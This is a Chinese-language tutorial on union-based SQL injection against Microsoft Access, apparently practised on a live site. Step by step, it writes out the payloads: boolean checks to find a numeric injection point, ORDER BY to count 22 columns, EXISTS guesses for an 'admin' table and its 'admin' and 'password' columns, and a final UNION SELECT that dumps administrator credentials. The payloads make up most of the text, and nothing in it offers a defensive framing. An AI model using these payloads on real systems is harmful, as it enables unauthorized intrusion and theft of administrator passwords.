access注入 – 聯合查詢

1、access數據庫簡介

  • 簡介:Microsoft Office Access是由微軟發佈的關係數據庫管理系統。它結合了 MicrosoftJet Database Engine 和 圖形用戶界面兩項特點,是Microsoft Office 的系統程序之一。Microsoft Office Access是微軟把數據庫引擎的圖形用戶界面和軟件開發工具結合在一起的一個數據庫管理系統。

2、access聯合注入思路

  1. 判斷注入點
  2. 確定對應表的字段數量
  3. 猜表名
  4. 判斷其顯示位
  5. 猜列名
  6. 爆出數據

3、注入步驟演示

3.1、判斷注入點:

  • 首先我們要判斷該注入點是哪一種注入類型
    1. 數字型注入:
      • ?id=1 and 1=1
      • ?id=1 and 1=2
    2. 字符型注入:
      • ?id=1′ and 1=1 #
      • ?id=1′ and 1=2#
  • ?id=1142 and 1=1 — 頁面顯示正常
  • ?id=1142 and 1=2 — 頁面顯示不正常
  • 說明該注入點是數字型注入
    01_access聯合注入-判斷注入點
    02_access聯合注入-判斷注入點

3.2、爆字段數量:

  • ?id=1142 order by 22 —- 頁面不報錯
  • ?id=1142 order by 23 —- 頁面報錯
  • 說當前表的字段數量為22
    03_access聯合注入-判斷字段數量

3.3、爆表名:

  • 由於access的系統表不像mysql一樣具有系統索引庫,所以表名和列名都只能靠猜。。。如果通過社工、工具、經驗(比如看後台源碼的表單名字)都搞不出來的話,就只能通過偏移來試試運氣了
  • ?id=1142 and exists (select * from admin) –比較幸運的是,這裡猜對了
    04_access聯合注入-猜表名

3.4、判斷其顯示位

  • ?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
  • 發現頁面只顯示了3和15,說明只有在這兩個位置中,從數據庫查詢到的數據才可以在頁面上進行輸出
    05_access聯合注入-判斷顯示位

3.5、猜列名

  • 同猜表名
  • and exists (select admin,password from admin)
  • 若輸出正常說明表admin存在admin和password兩個字段
    06_access聯合注入-猜字段名

3.6、爆出數據

  • 我們已經有上述步驟猜解出了表名和相應的字段名,接下來只需進行聯合查詢即可。
  • ?id=1142 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
    07_access聯合注入-爆賬號密碼
Tags: